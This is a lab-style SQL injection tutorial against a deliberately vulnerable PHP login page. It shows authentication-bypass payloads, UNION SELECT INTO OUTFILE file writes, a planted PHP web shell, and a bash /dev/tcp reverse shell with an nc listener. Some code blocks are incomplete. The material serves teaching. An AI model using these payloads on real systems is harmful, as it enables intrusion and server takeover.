************* SQL Injection ************* Overview ======== Test for SQL injection by adding \, -\\- , #, /*, ' or " in a field that you suspect forms part of an SQL query. +---------------+-----------------------------------------+ | character | Details | +===============+=========================================+ | # | # to the end of the line. | +---------------+-----------------------------------------+ | -\\- | same as #, space after -\\- is required | +---------------+-----------------------------------------+ | /* comment */ | Multiline comment | +---------------+-----------------------------------------+ Adding a backslash to the end of the field data may escape the quote used and enumerate which style of quotation is used in the in the error message returned. The ability to include a backslash, quote or comment character unfiltered allows us to break out of the intended query and pass our own SQL commands to the back end database. Example vulnerable PHP login code ================================= The code below takes input of `$username` and `$password` from a web form and uses it to build the MySQL query, the variables passed from the form are not sanitized in any way. So long as the query returns only one row (matches one user account) login is successful. Create a login.php file in webroot and paste in the following code: .. code-block:: html+php
Username:
Password:

"; $result = mysqli_query($db,$sql); echo mysqli_error($db) . "
"; $count = mysqli_num_rows($result); if($count == 1) { echo "

Welcome " . $myusername . "

"; } else { echo "

FAIL

"; } mysqli_close($db); ?> Run the following SQL to create a database to back the above code: .. code-block:: sql CREATE DATABASE login; CREATE TABLE users (username VARCHAR(30), password VARCHAR(30), email VARCHAR(30)); INSERT INTO users (username,password,email) VALUES ('admin','password','admin@netchameleon.com'), ('user', 'ilovesec','user@netchameleon.com'), ('user2', 'ilovesectoo', 'user2@netchameleon.com'); The MySQL server was not secured in anyway and queries are exected with the root MySQL user. The web directory is writable by the MySQL user and SELinux wass also disabled. Testing possible injections =========================== Bypass authentication --------------------- We control the data passed to $myusername and $mypassword variables which are in turn used to build the query. The following example inputs should satisfy the condition (return one row) for a a successful login. .. code-block:: text $myusername = admin';# Resulting SQL statement executed: .. code-block:: sql MariaDB [login]> SELECT * FROM users WHERE username = 'admin';#' and password = '' +----------+----------+------------------------+ | username | password | email | +----------+----------+------------------------+ | admin | password | admin@netchameleon.com | +----------+----------+------------------------+ 1 row in set (0.00 sec) Any SQL to the right of the hash is treated as a comment and ignored by MySQL so the database returns one row (WHERE username = 'admin'). The same can be achieved with `-\\- ` Resulting SQL statement executed: .. code-block:: sql MariaDB [login]> SELECT * FROM users WHERE username = 'admin';-- ' and password = '' +----------+----------+------------------------+ | username | password | email | +----------+----------+------------------------+ | admin | password | admin@netchameleon.com | +----------+----------+------------------------+ 1 row in set (0.00 sec) If a valid username was not known the query could be modified through injection of an `OR` operator to force the WHERE clause to match all rows. Injecting `LIMIT 1` would also be necessary to return only the first matching row as `OR 1=1` would match all rows and not satisfy the condition (mysqli_num_rows($result) == 1). .. code-block:: text $myusername = 'or 1=1 LIMIT 1;-- Resulting SQL statement executed: .. code-block:: sql MariaDB [login]> SELECT * FROM users WHERE username = '' OR 1=1 LIMIT 1;-- ' and password = '' +----------+----------+------------------------+ | username | password | email | +----------+----------+------------------------+ | admin | password | admin@netchameleon.com | +----------+----------+------------------------+ 1 row in set (0.00 sec) So long as the resulting injected query returns only one row login will be successful. Bypassing the login check isn't particularly useful in this case, lets explore what else can be achieved with the SQL injection. Database enumeration -------------------- ORDER BY ^^^^^^^^ The number of columns in the `users` table can be enumerated by injecting the `ORDER BY` clause, incrementing its value (column number) until an error is displayed/ .. code-block:: text $myusername = admin' ORDER BY 3;# Resulting SQL statement executed: .. code-block:: sql MariaDB [login]> SELECT * FROM users WHERE username = 'admin' ORDER BY 3;#' and password = '' +----------+----------+------------------------+ | username | password | email | +----------+----------+------------------------+ | admin | password | admin@netchameleon.com | +----------+----------+------------------------+ 1 row in set (0.00 sec) UNION SELECT ^^^^^^^^^^^^ `UNION ALL SELECT` clause can be injected to include data from other tables in the results returned by the query. Since the result is not directly displayed anywhere on the login.php this technique is used "blind" and must be combined with `INTO OUTFILE` to write the data to a web accessible location for retrieval. .. code-block:: text $myusername = admin' UNION ALL SELECT @@version,2,3 INTO OUTFILE '/var/www/html/vers.txt';# Resulting SQL statement executed: .. code-block:: sql MariaDB [login]> SELECT * FROM users WHERE username = 'admin' UNION ALL SELECT @@version,2,3 INTO OUTFILE '/var/www/html/vers.txt';# ' and password = '' Query OK, 2 rows affected (0.00 sec) The result is not displayed (its written to file instead) but this can be retrieved with curl: .. raw:: html
    root@kali:~# curl http://10.0.133.45/vers.txt
	admin	password	admin@netchameleon.com
	5.5.56-MariaDB	2	3
    
We have learned the database type and version. By modifying the `UNION SELECT` query other interesting information can be obtained e.g. data from other tables etc. Code execution -------------- `UNION SELECT` can also be used to write arbitrary PHP code to file granting code execution on the server. .. code-block:: text $myusername = admin' UNION ALL SELECT '',2,3 INTO OUTFILE '/var/www/html/phpinf.php';# Resulting SQL statement executed: .. code-block:: sql MariaDB [login]> SELECT * FROM users WHERE username = 'admin' UNION ALL SELECT '',2,3 INTO OUTFILE '/var/www/html/phpinf.php';#' and password = '' Query OK, 2 rows affected (0.00 sec) Navigating to http://10.0.133.45/phpinf.php: .. image:: ../images/SQLinjection/phpinfo_sqli.png :alt: phpinfo() injected Now we are able to inject and execute PHP, `phpinfo()` can be replaced with something more potent allowing us to execute shell commands: .. code-block:: php .. code-block:: text $myusername = 'union all select 1,2,'' into OUTFILE '/var/www/html/shell.php';# .. code-block:: sql MariaDB [login]> QUERY: SELECT * FROM users WHERE username = ''union all select 1,2,'' into OUTFILE '/var/www/html/shell.php';#' and password = '' Query OK, 2 rows affected (0.00 sec) Supplying the command to execute on the server as the value of the GET variable `cmd` and PHP `shell_exec()` will dutifully execute it for us as the apache user. .. raw:: html
	~# http://10.0.133.45/shell.php
	1	2	<br />
	<b>Notice</b>:  Undefined index: cmd in <b>/var/www/html/shell.php</b> on line <b>1</b><br />
	root@kali:~# curl http://10.0.133.45/shell.php?cmd=id
	1	2	uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
	
Creating a reverse shell: .. raw:: html
  	root@kali:~# curl -G "http://10.0.133.45/shell.php" --data-urlencode "cmd=bash -i >& /dev/tcp/10.0.133.6/443 0>&1"
	
.. raw:: html
	root@kali:~#  nc -vlntp 443
	listening on [any] 443 ...
	connect to [10.0.133.6] from (UNKNOWN) [10.0.133.45] 35190
	bash: no job control in this shell
	bash-4.2$ i
	id
	uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
	bash-4.2$